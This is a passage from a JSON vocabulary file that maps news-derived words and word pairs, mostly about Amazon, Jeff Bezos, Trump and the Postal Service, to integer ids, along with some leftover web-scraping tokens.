ab": 152077, "sector officials": 152078, "futures skyrocket": 152079, "future pension": 152080, "meaning poorer": 152081, "personality exclusive": 152082, "undercount": 152083, "tightening general": 152084, "office sit": 152085, "government types": 152086, "state says": 152087, "newspolitics": 152088, "account 2018": 152089, "tower moscow": 152090, "dystopia untangling": 152091, "hits hyping": 152092, "strong strong": 152093, "competitive procurement": 152094, "titled trump": 152095, "price package": 152096, "sunset clause": 152097, "later siu": 152098, "eventually": 152099, "spectre": 152100, "trilogy called": 152101, "platform second": 152102, "president subsequently": 152103, "reliable package": 152104, "trump today": 152105, "rare thing": 152106, "missing analyst": 152107, "eovaldli": 152108, "supplement": 152109, "bar city": 152110, "notadime": 152111, "amazon understands": 152112, "political conspiracy": 152113, "multi modal": 152114, "hacking tools": 152115, "brief group": 152116, "contracts makes": 152117, "billion foxconn": 152118, "media hypocrisy": 152119, "dangerousit": 152120, "truth pic": 152121, "ask chip": 152122, "west hollywood": 152123, "ey": 152124, "network corp": 152125, "electricity prices": 152126, "st prelim": 152127, "hoover dam": 152128, "leather": 152129, "interviews sanchez": 152130, "photos asia": 152131, "potential anticompetitive": 152132, "respond": 152133, "day trades": 152134, "seltzer water": 152135, "1051": 152136, "documentaries": 152137, "rapidly evolving": 152138, "riverdale best": 152139, "annual revenues": 152140, "crn 2018": 152141, "gales": 152142, "understanding": 152143, "key highlight": 152144, "ruthless online": 152145, "bail": 152146, "overseas": 152147, "redirecting federal": 152148, "fallon reads": 152149, "grab sweet": 152150, "bison usps": 152151, "central brazil": 152152, "acknowledged taking": 152153, "men trump": 152154, "version": 152155, "chang matters": 152156, "having given": 152157, "vets": 152158, "reuters david": 152159, "push vendors": 152160, "later walked": 152161, "sears history": 152162, "seriously": 152163, "shaun mckenzie": 152164, "daisies takes": 152165, "anchorage": 152166, "stays bright": 152167, "perne": 152168, "look begin": 152169, "etf just": 152170, "presidential elections": 152171, "messages rep": 152172, "pecker hinted": 152173, "significant scale": 152174, "flick based": 152175, "synthetic ingredients": 152176, "brussels belgium": 152177, "minh thu": 152178, "land holdings": 152179, "woken": 152180, "defrauded students": 152181, "adams adds": 152182, "identify host": 152183, "election fraud": 152184, "suit 2018": 152185, "retailer roberts": 152186, "spark wave": 152187, "crown netflix": 152188, "texts documented": 152189, "charm exists": 152190, "financial innovation": 152191, "signing memorandum": 152192, "ceo john": 152193, "1963": 152194, "snag": 152195, "queens republican": 152196, "bookscan": 152197, "disney nyse": 152198, "previously held": 152199, "store location": 152200, "amzn product": 152201, "realism": 152202, "delivering amazon": 152203, "twtr free": 152204, "belching": 152205, "weitzman iser": 152206, "news executive": 152207, "headquarters site": 152208, "suckers obviously": 152209, "story home": 152210, "consumer spending": 152211, "michael varner": 152212, "ami tried": 152213, "republicans did": 152214, "headquartershere": 152215, "feud seriously": 152216, "ag\u00eancia": 152217, "program benefits": 152218, "aaliyah added": 152219, "island rail": 152220, "senate led": 152221, "crest": 152222, "conservative website": 152223, "customized shirts": 152224, "latest tactic": 152225, "fight edf": 152226, "trump father": 152227, "gender options": 152228, "suffered initially": 152229, "alesci cnn": 152230, "flat note": 152231, "clients attempting": 152232, "grant unprecedented": 152233, "conference backdrop": 152234, "larger stake": 152235, "branded devices": 152236, "fortunes changed": 152237, "crossing border": 152238, "google purposefully": 152239, "texas woman": 152240, "regularly met": 152241, "approximately hourly": 152242, "progressive thought": 152243, "kemp": 152244, "flex program": 152245, "shop basement": 152246, "view david": 152247, "rescue firefighters": 152248, "corporate officials": 152249, "right evan": 152250, "spun": 152251, "disability equality": 152252, "passenger wouldn": 152253, "york stunning": 152254, "classified data": 152255, "challenging trump": 152256, "barclays rates": 152257, "florence speed": 152258, "northward": 152259, "virginians": 152260, "sand bagging": 152261, "pro bono": 152262, "tailings vale": 152263, "usps photo": 152264, "years tune": 152265, "mountain higher": 152266, "matters trump": 152267, "grabyourwallet": 152268, "detractors blood": 152269, "good neighbors": 152270, "agency creative": 152271, "wars dominated": 152272, "inventioneers": 152273, "stingy pay": 152274, "large acquisition": 152275, "694": 152276, "giant wasn": 152277, "credit eitc": 152278, "descriptiontext late": 152279, "yellen favorite": 152280, "story citing": 152281, "euronext": 152282, "caribbean miami": 152283, "representatives asked": 152284, "plasma lighters": 152285, "espinal says": 152286, "loyally": 152287, "oakland raiders": 152288, "defence": 152289, "stratford": 152290, "buying washing": 152291, "racy selfie": 152292, "publication entitled": 152293, "coalition group": 152294, "alaska air": 152295, "openly available": 152296, "similar point": 152297, "rainey covered": 152298, "making purchase": 152299, "snap snap": 152300, "corporate watchdog": 152301, "giant upcoming": 152302, "think clear": 152303, "ago cities": 152304, "president party": 152305, "showtime documentary": 152306, "multiplication": 152307, "democrats particularly": 152308, "investors appear": 152309, "betsy_klein": 152310, "retaliation took": 152311, "hoft": 152312, "1896 psychiatrist": 152313, "becker distinctly": 152314, "jeanne": 152315, "trump high": 152316, "324": 152317, "look distant": 152318, "hike analysts": 152319, "mountain": 152320, "immunotherapy": 152321, "newstage": 152322, "schuster continue": 152323, "edged positions": 152324, "target reported": 152325, "disrepute contempt": 152326, "record quotes": 152327, "isolation": 152328, "reportedly closed": 152329, "ending crisis": 152330, "trump aboard": 152331, "chain landmark": 152332, "grenfell": 152333, "stay": 152334, "operating fleet": 152335, "site politician": 152336, "best google": 152337, "good hollywood": 152338, "entirely correct": 152339, "\u0430scary \u0430clearly": 152340, "executives sent": 152341, "finagling statutes": 152342, "tinder matches": 152343, "seemingly using": 152344, "paints bezos": 152345, "axios rep": 152346, "privatize": 152347, "selling baby": 152348, "york proposal": 152349, "russian effort": 152350, "self educated": 152351, "hiring delivery": 152352, "anti democratic": 152353, "maestro rodrigo": 152354, "sanders response": 152355, "increased automation": 152356, "localized buying": 152357, "behemoth targeting": 152358, "greg doherty": 152359, "fbi trump": 152360, "face 2018": 152361, "burn comedian": 152362, "announces china": 152363, "persons": 152364, "dominique pineiro": 152365, "slam amazon": 152366, "evangelical": 152367, "giants spend": 152368, "admits teacher": 152369, "sofia": 152370, "mcdowell right": 152371, "time horizon": 152372, "transfers reported": 152373, "kleach6 bloomberg": 152374, "obama author": 152375, "report private": 152376, "dawkins sr": 152377, "ago president": 152378, "767 planes": 152379, "distrust amazon": 152380, "man living": 152381, "document examining": 152382, "label thepresident": 152383, "trumpnation citing": 152384, "average plunged": 152385, "city site": 152386, "qid 1539177096": 152387, "just fantasy": 152388, "center good": 152389, "fact airbus": 152390, "officials passing": 152391, "frigid": 152392, "paedos": 152393, "tron legacy": 152394, "photographer stephen": 152395, "associate general": 152396, "board meeting": 152397, "bezos say": 152398, "political allies": 152399, "datecreated descriptiontext": 152400, "costly researchers": 152401, "wipe": 152402, "janata party": 152403, "balcony began": 152404, "haven joined": 152405, "transgender women": 152406, "zing": 152407, "burch nashville": 152408, "christ": 152409, "blasio amazon": 152410, "price 447": 152411, "discriminate": 152412, "energy infrastructure": 152413, "won billion": 152414, "toy prices": 152415, "bbc stars": 152416, "buffoon": 152417, "corporate recession": 152418, "wrong button": 152419, "selection service": 152420, "facilities digital": 152421, "competing fund": 152422, "isn amazon": 152423, "focus metapack": 152424, "banning conservatives": 152425, "doing pull": 152426, "preferred phrase": 152427, "service fiscal": 152428, "women elected": 152429, "cgc": 152430, "mecklenburg planned": 152431, "vallone statement": 152432, "economic suicide": 152433, "reached peak": 152434, "getting hosed": 152435, "new section": 152436, "transportation northern": 152437, "smallbusiness": 152438, "intro": 152439, "training ground": 152440, "okta nasdaq": 152441, "chronicles barstow": 152442, "statewide issue": 152443, "ramell": 152444, "readily": 152445, "media set": 152446, "trump phone": 152447, "light new": 152448, "chairman larry": 152449, "cavazos": 152450, "2018bezos": 152451, "hillcrest baptist": 152452, "ad executives": 152453, "won change": 152454, "position does": 152455, "opt": 152456, "khashoggi law": 152457, "received talk": 152458, "114th": 152459, "conservative accounts": 152460, "ceo sees": 152461, "embarrass": 152462, "expand protections": 152463, "ibm ibm": 152464, "hashtags": 152465, "roughly 140": 152466, "study claims": 152467, "shopping event": 152468, "accusations louisiana": 152469, "offer tech": 152470, "given industry": 152471, "abruptly fired": 152472, "amazon lifespan": 152473, "slogan chosen": 152474, "regulators otting": 152475, "bankrupt": 152476, "big challenge": 152477, "mainstream industry": 152478, "business appointees": 152479, "amazon largest": 152480, "manage market": 152481, "money katera": 152482, "million paypal": 152483, "host stephen": 152484, "global domination": 152485, "pf_rd_r 677dp3p5tenxgcpb032d": 152486, "wrestling match": 152487, "supercomers": 152488, "global logistics": 152489, "afp following": 152490, "ministries sued": 152491, "slayings police": 152492, "associates removed": 152493, "built great": 152494, "jackson heights": 152495, "bell small": 152496, "similar reactions": 152497, "s\u00e1nchez love": 152498, "stocks mentioned": 152499, "award senior": 152500, "advisers chair": 152501, "report noted": 152502, "headquarters amid": 152503, "aggressively mentioned": 152504, "financial transaction": 152505, "low brow": 152506, "standing revenue": 152507, "consumable": 152508, "industry partner": 152509, "begin second": 152510, "won lot": 152511, "nadia berenstein": 152512, "exotically": 152513, "actively pursued": 152514, "share purchase": 152515, "offers dynamic": 152516, "diamond returns": 152517, "new extension": 152518, "earlier reporting": 152519, "small group": 152520, "verified": 152521, "amazon saying": 152522, "reckless plans": 152523, "brennan refused": 152524, "teasing trump": 152525, "push tax": 152526, "welcome party": 152527, "oft heard": 152528, "sexual macron": 152529, "cavalry theo": 152530, "paul 415": 152531, "reinvigorated": 152532, "used packaging": 152533, "president holds": 152534, "noble": 152535, "walmart owns": 152536, "correct parties": 152537, "ami recent": 152538, "dangerously exposed": 152539, "seasoned stand": 152540, "nyse ge": 152541, "director bruce": 152542, "did shame": 152543, "seller walmart": 152544, "tariff hopes": 152545, "rates hold": 152546, "near future": 152547, "law addresses": 152548, "harcourt": 152549, "pulsing wide": 152550, "a5q arguments": 152551, "trump loving": 152552, "competitive pressure": 152553, "apparently sent": 152554, "model unsustainable": 152555, "republicans don": 152556, "interior issues": 152557, "house public": 152558, "food steve": 152559, "growing revenues": 152560, "recipes inspired": 152561, "opposing government": 152562, "jackson reports": 152563, "data accessibility": 152564, "army post": 152565, "buy car": 152566, "banff": 152567, "line jeff": 152568, "kaper dale": 152569, "justifying": 152570, "handle home": 152571, "unusual chain": 152572, "cohen american": 152573, "acidic": 152574, "conflicted adding": 152575, "sizevery": 152576, "second installment": 152577, "growth boom": 152578, "including dolly": 152579, "profitable locations": 152580, "giving trump": 152581, "won affect": 152582, "jabs meaning": 152583, "criticizing bezos": 152584, "story diamonds": 152585, "face compared": 152586, "irs form": 152587, "city respondents": 152588, "pba hope": 152589, "offbeat": 152590, "achieving amazon": 152591, "tax funded": 152592, "governments gardner": 152593, "messy desk": 152594, "weren paying": 152595, "slumped": 152596, "conservative trump": 152597, "unsafe high": 152598, "products directly": 152599, "security startup": 152600, "entry restrictions": 152601, "frequently resides": 152602, "dramatic maps": 152603, "diagnostic": 152604, "publication expose": 152605, "unwittingly ordered": 152606, "land amazon": 152607, "barely existent": 152608, "promoting good": 152609, "tennesseans rolfe": 152610, "today micron": 152611, "maloney points": 152612, "blame": 152613, "nappi conneaut": 152614, "aidy bryant": 152615, "set mosque": 152616, "elaborate": 152617, "process jeff": 152618, "specifically took": 152619, "brooklyn attorney": 152620, "sanders want": 152621, "watch pepsico": 152622, "stock way": 152623, "2009 larry": 152624, "saks lord": 152625, "inhabitant": 152626, "contradict": 152627, "settlement microsoft": 152628, "dannyzuker author": 152629, "consumers primarily": 152630, "victims act": 152631, "foreign labor": 152632, "perplexing": 152633, "members mark": 152634, "technology developed": 152635, "big fat": 152636, "funded welfare": 152637, "examine postal": 152638, "decided amazon": 152639, "week sparking": 152640, "just sleepwalks": 152641, "apis": 152642, "numerous lewd": 152643, "dominance ft": 152644, "freedom fighters": 152645, "afternoon walmart": 152646, "jamal khashoggi": 152647, "performing deliveries": 152648, "prime rate": 152649, "began creating": 152650, "business sectors": 152651, "risk possible": 152652, "marketwatch bezos": 152653, "amazon launch": 152654, "detect unhealthy": 152655, "counterpunched": 152656, "revamped": 152657, "monies": 152658, "just trade": 152659, "nerve ami": 152660, "prescriptive": 152661, "hasn reached": 152662, "david stonesifer": 152663, "tracking tinder": 152664, "headquarters queens": 152665, "obviously divided": 152666, "cortez jokes": 152667, "birthday": 152668, "various news": 152669, "involving civil": 152670, "content rachel": 152671, "award statue": 152672, "akron act": 152673, "state police": 152674, "suddenly reappears": 152675, "private summit": 152676, "wallstreetjournal usatoday": 152677, "bdt capital": 152678, "200 dma": 152679, "dis free": 152680, "majesty christopher": 152681, "just ahead": 152682, "congressman endorsing": 152683, "holland knight": 152684, "smith research": 152685, "called elemental": 152686, "week called": 152687, "candidates bidding": 152688, "iterative": 152689, "haynes": 152690, "doug wilder": 152691, "yvette": 152692, "fund family": 152693, "low": 152694, "org library": 152695, "cohen paid": 152696, "michael lasser": 152697, "remains commerce": 152698, "best memes": 152699, "current flu": 152700, "eventual shipment": 152701, "law policy": 152702, "730 earned": 152703, "sandhya": 152704, "rich list": 152705, "regional carriers": 152706, "fuzzy": 152707, "reaped riches": 152708, "complicate existing": 152709, "earrings": 152710, "marred": 152711, "future leaders": 152712, "latest best": 152713, "competition 234": 152714, "publication article": 152715, "cord playing": 152716, "outreach capitol": 152717, "economy looming": 152718, "junction": 152719, "downbeat led": 152720, "smaller merchants": 152721, "zeleny": 152722, "analytica breach": 152723, "local backlash": 152724, "large price": 152725, "business argued": 152726, "commerce suggesting": 152727, "mega dam": 152728, "stern new": 152729, "diverge": 152730, "blimp emblazoned": 152731, "controlling drug": 152732, "democratic members": 152733, "cargo planes": 152734, "deleted millions": 152735, "politically charged": 152736, "reuters risk": 152737, "strategists based": 152738, "lichtenstein": 152739, "programs internationally": 152740, "hefty public": 152741, "york national": 152742, "jeannie": 152743, "simpson evidence": 152744, "openly discussed": 152745, "amazon statement": 152746, "willful monopoly": 152747, "days": 152748, "avoidance trump": 152749, "2019 don": 152750, "agree federal": 152751, "harmony thing": 152752, "delivery finally": 152753, "rep\u00f3rter": 152754, "cage": 152755, "520 amazon": 152756, "george chapel": 152757, "democrats plan": 152758, "increased deforestation": 152759, "canadian consumers": 152760, "influence": 152761, "company union": 152762, "total gdp": 152763, "business tycoon": 152764, "radical idea": 152765, "ma warned": 152766, "took issue": 152767, "big justified": 152768, "trump unhinged": 152769, "home invasion": 152770, "story cisco": 152771, "pictures bezos": 152772, "thirty": 152773, "billionaire bezos": 152774, "bonanza actually": 152775, "exacting": 152776, "nathaniel dorsky": 152777, "castle agreement": 152778, "weed american": 152779, "jonestrading chief": 152780, "shores": 152781, "avery": 152782, "steven pearlstein": 152783, "bob goodlatte": 152784, "raton florida": 152785, "production shift": 152786, "company extensively": 152787, "hates amazon": 152788, "past according": 152789, "defies": 152790, "biotechnology leen": 152791, "loyal installed": 152792, "digs": 152793, "judiciary house": 152794, "medium accusing": 152795, "believable": 152796, "wielded": 152797, "bosses diagrammed": 152798, "retail associates": 152799, "activist elected": 152800, "propulsion": 152801, "230m unique": 152802, "cnn cristina": 152803, "vine programme": 152804, "enquirer business": 152805, "website medium": 152806, "walk based": 152807, "moments": 152808, "newsrooms include": 152809, "fairfax counties": 152810, "pr operation": 152811, "people city": 152812, "win nobel": 152813, "amazon wondering": 152814, "settlement saying": 152815, "time personally": 152816, "delays": 152817, "just recently": 152818, "toget": 152819, "hardiman": 152820, "areas including": 152821, "oscars economic": 152822, "amazon compelling": 152823, "shopify": 152824, "tax points": 152825, "lofty 326": 152826, "major shipping": 152827, "ari emanuel": 152828, "bezos insisted": 152829, "retailers stephen": 152830, "parent doesn": 152831, "selling proprietary": 152832, "bi ignition": 152833, "falling immediately": 152834, "postal serviceincreased": 152835, "executive says": 152836, "bbc amc": 152837, "mccabe account": 152838, "multiple languages": 152839, "shareholders hate": 152840, "justice spent": 152841, "mellow": 152842, "project pig": 152843, "facebook sleazy": 152844, "usps main": 152845, "race spokesman": 152846, "baraka": 152847, "profound effect": 152848, "p7a s7a": 152849, "step": 152850, "strong position": 152851, "bloated bureaucracies": 152852, "possible interference": 152853, "senate funding": 152854, "subterfuge": 152855, "openly hostile": 152856, "taxpayers treasury": 152857, "golf": 152858, "mcdougal politically": 152859, "connected handheld": 152860, "company acquire": 152861, "nasdaq composite": 152862, "aclu aclu": 152863, "trump sends": 152864, "associates earn": 152865, "siphoned cash": 152866, "america closest": 152867, "coalatree trailhead": 152868, "butting heads": 152869, "apocalypse": 152870, "forest phone": 152871, "jolley father": 152872, "parallel internet": 152873, "reports suggest": 152874, "build crain": 152875, "forces allowing": 152876, "crafted narrative": 152877, "letter stated": 152878, "shares buckingham": 152879, "state districts": 152880, "ellison yes": 152881, "backlash loosened": 152882, "fine awaits": 152883, "brow national": 152884, "simultaneously paint": 152885, "827": 152886, "expensive mandate": 152887, "particularly alluring": 152888, "near los": 152889, "approaches decision": 152890, "companies involvement": 152891, "northeast": 152892, "yield moved": 152893, "ted cruz": 152894, "day knockdown": 152895, "aryan brotherhood": 152896, "assailants": 152897, "images contact": 152898, "possible witnesses": 152899, "democratic katie": 152900, "begin vt": 152901, "chevron kennedy": 152902, "kitsap": 152903, "research centre": 152904, "transcripts": 152905, "approval process": 152906, "regularly sent": 152907, "employee driven": 152908, "highly levered": 152909, "stephanie meltzer": 152910, "cuomo hogwash": 152911, "commonweal": 152912, "day industry": 152913, "american crime": 152914, "splc designated": 152915, "hosting food": 152916, "hardware business": 152917, "streetcars": 152918, "native amazon": 152919, "nominated artist": 152920, "told salon": 152921, "5151": 152922, "stein mart": 152923, "mention trump": 152924, "acting chief": 152925, "cancelsend": 152926, "2018 electronic": 152927, "photos ami": 152928, "ooh": 152929, "page series": 152930, "nike told": 152931, "legs crossed": 152932, "day fail": 152933, "basis schweizer": 152934, "giants anonymous": 152935, "financial freedom": 152936, "rocks": 152937, "democracy works": 152938, "digital downloads": 152939, "messages published": 152940, "logistic startups": 152941, "digital photo": 152942, "public benefits": 152943, "hands long": 152944, "rolling book": 152945, "amanda eisenberg": 152946, "fetal tissue": 152947, "cashiers making": 152948, "preteen girls": 152949, "authors": 152950, "reversal": 152951, "oracle declined": 152952, "work 2018": 152953, "minimal competition": 152954, "distributor cardinal": 152955, "news correspondent": 152956, "striped tie": 152957, "afl cio": 152958, "walmart net": 152959, "chauvinism": 152960, "extraordinary potential": 152961, "drugmaker": 152962, "enquirer practice": 152963, "writing hippie": 152964, "deaths overall": 152965, "build corporate": 152966, "companies best": 152967, "f\u00e1bio rodrigues": 152968, "group clsa": 152969, "perk likewise": 152970, "22774588": 152971, "court square": 152972, "axis": 152973, "amazon turned": 152974, "recent doe": 152975, "daredevil netflix": 152976, "afghan refugees": 152977, "movie streaming": 152978, "business impact": 152979, "sellers instead": 152980, "failed deal": 152981, "read positive": 152982, "chase medical": 152983, "history producing": 152984, "cinemax": 152985, "amid claims": 152986, "current parseint": 152987, "labeling journalists": 152988, "electronic device": 152989, "metapack earlier": 152990, "obama established": 152991, "nutritional": 152992, "2016 robert": 152993, "america sanders": 152994, "ly": 152995, "expansion touched": 152996, "lower trump": 152997, "hasn received": 152998, "policy led": 152999, "glitches plagued": 153000, "masunaga latimes": 153001, "service dumped": 153002, "cargo jets": 153003, "matt yurus": 153004, "facebook ceo": 153005, "earnings expectations": 153006, "total sum": 153007, "process guy": 153008, "report suggested": 153009, "computer models": 153010, "represented media": 153011, "just eat": 153012, "earned master": 153013, "marijuana 2019": 153014, "hudson media": 153015, "albeit faithful": 153016, "dismaying": 153017, "consumers experts": 153018, "data bidding": 153019, "undress": 153020, "street new": 153021, "black object": 153022, "ibm propublica": 153023, "mountain expansion": 153024, "aso": 153025, "classic board": 153026, "biggest coup": 153027, "lazarus sandhya": 153028, "talkingtech 2019": 153029, "revoking cnn": 153030, "company nasdaq": 153031, "hp_lead_pos11": 153032, "amazon 1271": 153033, "delbianco president": 153034, "republicans rebuked": 153035, "rejane frederick": 153036, "dollar trade": 153037, "tax hikes": 153038, "unsupported": 153039, "term effects": 153040, "fool stamps": 153041, "novey amazon": 153042, "indelible figures": 153043, "misinformation tied": 153044, "341 400": 153045, "amazon 907": 153046, "lit": 153047, "family publication": 153048, "growing 117": 153049, "cardinal ceo": 153050, "deal deliver": 153051, "methodically": 153052, "chart": 153053, "50eb2d087826a77e5d000001": 153054, "paid little": 153055, "function r4": 153056, "game character": 153057, "kerr blasts": 153058, "seemingly contradictory": 153059, "holds 563": 153060, "talking bs_bullet_primary": 153061, "dopp": 153062, "government protection": 153063, "delivery lockers": 153064, "2017 democratic": 153065, "barrier breaking": 153066, "men threw": 153067, "deal onex": 153068, "president michel": 153069, "pressuring amazon": 153070, "enjoyed": 153071, "sun times": 153072, "importers": 153073, "secretary sean": 153074, "producer dj": 153075, "michal cohen": 153076, "met": 153077, "offer fulfillment": 153078, "hathaway charlotte": 153079, "tea south": 153080, "aptly calls": 153081, "amazon salla": 153082, "freighter aircraft": 153083, "contract drivers": 153084, "reasonable expect": 153085, "americas rich": 153086, "hq2 began": 153087, "europe smarter": 153088, "business bezos": 153089, "spade": 153090, "best microsd": 153091, "tonya garcia": 153092, "choices": 153093, "documents trump": 153094, "sought comment": 153095, "shutting underperforming": 153096, "million biodiversity": 153097, "action hero": 153098, "staged action": 153099, "k6 stoppropagation": 153100, "starving": 153101, "woman murdered": 153102, "purchase items": 153103, "dishonesty price": 153104, "holds bachelor": 153105, "news jane": 153106, "cooperating currently": 153107, "bolsonaro thinks": 153108, "service index": 153109, "upcoming holiday": 153110, "city marginal": 153111, "backed vukmir": 153112, "girl meets": 153113, "washington elite": 153114, "mda": 153115, "giants videos": 153116, "remarks regarding": 153117, "957": 153118, "billion industry": 153119, "8217 running": 153120, "marketwatch spokeswoman": 153121, "white landowners": 153122, "knew hush": 153123, "novella": 153124, "consumer media": 153125, "issues members": 153126, "red tie": 153127, "thunderstorms hours": 153128, "council mark": 153129, "bezos abuses": 153130, "mnuchin predatory": 153131, "work feel": 153132, "clearly demonstrate": 153133, "air live": 153134, "brainstorming": 153135, "kang": 153136, "oka merck": 153137, "practices walmart": 153138, "lights elevation": 153139, "prices wrote": 153140, "liars": 153141, "powder": 153142, "song pools": 153143, "whisper": 153144, "conceptually": 153145, "investing_promo newsletter": 153146, "kingdom closest": 153147, "disappointing second": 153148, "creative solutions": 153149, "faraway": 153150, "american sales": 153151, "entire area": 153152, "forces operations": 153153, "unclear": 153154, "today interview": 153155, "internet making": 153156, "mattis amazon": 153157, "originated": 153158, "crusty": 153159, "drone war": 153160, "entity regardless": 153161, "house fake": 153162, "extort new": 153163, "bezos managed": 153164, "deny saying": 153165, "approachable": 153166, "giants packages": 153167, "dewey rochester": 153168, "combination stores": 153169, "shielded retailers": 153170, "sister publication": 153171, "monica lewinksy": 153172, "leila larmand": 153173, "inst holders": 153174, "sees ton": 153175, "york credit": 153176, "government ny": 153177, "company ahead": 153178, "postal employees": 153179, "alan dershowitz": 153180, "amazon giant": 153181, "mandarin": 153182, "slavered cnn": 153183, "4dx": 153184, "brunette trump": 153185, "2019 chicago": 153186, "app susan": 153187, "software facefirst": 153188, "180917225659912": 153189, "incriminating": 153190, "paper reads": 153191, "impacting brazil": 153192, "rfra": 153193, "hellmann interviewed": 153194, "previously undisclosed": 153195, "combined": 153196, "amazon waking": 153197, "sulzberger issued": 153198, "leighton took": 153199, "axios told": 153200, "cupboard romanian": 153201, "forced poverty": 153202, "_catst6fu1s": 153203, "epithets": 153204, "chicago regional": 153205, "nahmias laura": 153206, "video launch": 153207, "company anymore": 153208, "outlet called": 153209, "better salary": 153210, "people upset": 153211, "aoc thrill": 153212, "foods right": 153213, "pursue services": 153214, "books make": 153215, "brenner getty": 153216, "factcheck": 153217, "meet deap": 153218, "short": 153219, "2006 law": 153220, "carbon sinks": 153221, "developing delivery": 153222, "pickled": 153223, "bank business": 153224, "course don": 153225, "owner michael": 153226, "555": 153227, "corporation run": 153228, "investigation team": 153229, "direct guidance": 153230, "alongside sen": 153231, "served": 153232, "mainstream democrats": 153233, "prior comments": 153234, "crowded terminals": 153235, "tutelage": 153236, "inflationary": 153237, "j9x function": 153238, "toyota sienna": 153239, "law indiana": 153240, "messitte ordered": 153241, "pending loss": 153242, "grandchildren don": 153243, "divorce laws": 153244, "substance sure": 153245, "sound terrible": 153246, "embarrassed tech": 153247, "frank wall": 153248, "business tax": 153249, "democracy amounts": 153250, "blocking technology": 153251, "liberal financier": 153252, "morning senator": 153253, "oops mean": 153254, "husband": 153255, "washington shelling": 153256, "expect 2019": 153257, "watch list": 153258, "thirst": 153259, "opportunity 2018": 153260, "fundraisers": 153261, "economy locals": 153262, "people hold": 153263, "washington dod": 153264, "andrej": 153265, "chairman henry": 153266, "venezuela looks": 153267, "cohn reportedly": 153268, "impact revenue": 153269, "arcnewsletter utm_medium": 153270, "cnn sourcelink": 153271, "eliminate meal": 153272, "given preliminary": 153273, "conduction continues": 153274, "newspaper": 153275, "ric riebold": 153276, "multimillion": 153277, "wide criticism": 153278, "homeless people": 153279, "meals groceries": 153280, "currently pushing": 153281, "connected maybe": 153282, "cramer trump": 153283, "limits profits": 153284, "russia ongoing": 153285, "payer funded": 153286, "richardson": 153287, "bothered spending": 153288, "poetry foundation": 153289, "amzn holds": 153290, "journalistic hero": 153291, "saudi crown": 153292, "devastation diverse": 153293, "representative elijah": 153294, "current licensing": 153295, "strong": 153296, "luxury stocks": 153297, "raab arrives": 153298, "haughney dare": 153299, "receipt": 153300, "protected laura": 153301, "peet": 153302, "list better": 153303, "friend richard": 153304, "place razor": 153305, "unfairly trump": 153306, "delegitimizing donald": 153307, "potent tools": 153308, "upload reveals": 153309, "highlighted lower": 153310, "search company": 153311, "filming business": 153312, "tripled according": 153313, "fakenews": 153314, "thread continued": 153315, "internal company": 153316, "usual expanded": 153317, "easy times": 153318, "living index": 153319, "tracking app": 153320, "prime health": 153321, "asked question": 153322, "piquant": 153323, "breinigsville": 153324, "recurring role": 153325, "urihe7ofy043r a4ee": 153326, "allows local": 153327, "official added": 153328, "toughest net": 153329, "costs despite": 153330, "policies low": 153331, "emails alleged": 153332, "hart set": 153333, "clive": 153334, "program including": 153335, "stelter": 153336, "torel": 153337, "company pocketing": 153338, "bribe": 153339, "older sister": 153340, "watered": 153341, "transportation pressures": 153342, "govpredict business": 153343, "north america": 153344, "andeditor": 153345, "ill equipped": 153346, "mancismarvellous uksmallbiz": 153347, "repay": 153348, "maker sandoz": 153349, "instagram properties": 153350, "invalid email": 153351, "addition brennan": 153352, "ssg rodney": 153353, "place photo": 153354, "packs 800": 153355, "showman": 153356, "politics liz": 153357, "business reuters": 153358, "current election": 153359, "west kim": 153360, "high density": 153361, "honor fund": 153362, "community members": 153363, "given maryland": 153364, "import cannabis": 153365, "hotel director": 153366, "nationaldonutday twinpeaks": 153367, "excruciatingly": 153368, "families friends": 153369, "pardoning people": 153370, "court close": 153371, "trump visits": 153372, "preserves": 153373, "sciences reporter": 153374, "response amazon": 153375, "2012 gop": 153376, "request conducted": 153377, "hermit kingdom": 153378, "inaccurately claimed": 153379, "know amazon": 153380, "international agribusiness": 153381, "imports driving": 153382, "news articles": 153383, "pl": 153384, "panic white": 153385, "chill factored": 153386, "inslee wash": 153387, "emissions rules": 153388, "audi": 153389, "parenthood": 153390, "greenland": 153391, "downstate divide": 153392, "allegedly fight": 153393, "bezos range": 153394, "public bake": 153395, "sheri": 153396, "documentary includes": 153397, "drills": 153398, "reddit earlier": 153399, "netflix cancelled": 153400, "reaccelerate": 153401, "bodies": 153402, "ent": 153403, "password concerns": 153404, "local politics": 153405, "cramer refers": 153406, "sessions raises": 153407, "wolff publisher": 153408, "brief impeaching": 153409, "recommending": 153410, "causing massive": 153411, "major banks": 153412, "notable exception": 153413, "stock cigna": 153414, "big tariffs": 153415, "debut best": 153416, "p1 a4ee": 153417, "course assembly": 153418, "unprecedented surge": 153419, "finals": 153420, "bolsonaro": 153421, "decentralized": 153422, "starring colleen": 153423, "amazon says": 153424, "refuse means": 153425, "york crash": 153426, "claimed islam": 153427, "shop posing": 153428, "massive investments": 153429, "jo\u0119nia": 153430, "registered dietitian": 153431, "long stated": 153432, "isn binary": 153433, "change retail": 153434, "2019 rise": 153435, "null companyprofile": 153436, "night bezos": 153437, "bus topics": 153438, "possession": 153439, "couple ivan": 153440, "cnnvideoapiloadcompletehandlers": 153441, "coming hallow": 153442, "appearance": 153443, "forward walker": 153444, "bribery claims": 153445, "goal": 153446, "current workforce": 153447, "pitching prospects": 153448, "conforming fannie": 153449, "disputed waters": 153450, "claims federal": 153451, "country great": 153452, "134 8billion": 153453, "1801": 153454, "actually ingesting": 153455, "manipulation campaigns": 153456, "writing amazon": 153457, "ushered": 153458, "antitrust scrutiny": 153459, "exposed public": 153460, "investigate president": 153461, "eu new": 153462, "successful scalping": 153463, "company entry": 153464, "roseanne spinoff": 153465, "stolen items": 153466, "steal": 153467, "national council": 153468, "false allegations": 153469, "welcome scrutiny": 153470, "cbs abc": 153471, "d1 uu9ssaa17kk3": 153472, "democrat freshman": 153473, "drew angerer": 153474, "government reopens": 153475, "mother trying": 153476, "everybody needs": 153477, "read microsoft": 153478, "savanna": 153479, "trump recently": 153480, "establishment democrats": 153481, "getplayerbycontainer": 153482, "infrastructure construction": 153483, "leads broker": 153484, "holdover": 153485, "interesting watch": 153486, "various approvals": 153487, "threatens immigrant": 153488, "pharma big": 153489, "pence trump": 153490, "winning modern": 153491, "movado": 153492, "d43co": 153493, "cdt updated": 153494, "marching": 153495, "estate film": 153496, "reuters facebook": 153497, "liberal trump": 153498, "waste": 153499, "really welcomed": 153500, "questionfor": 153501, "located near": 153502, "president campaign": 153503, "offering context": 153504, "wish list": 153505, "average parcel": 153506, "texts private": 153507, "wearing translation": 153508, "trump strange": 153509, "generated political": 153510, "complement": 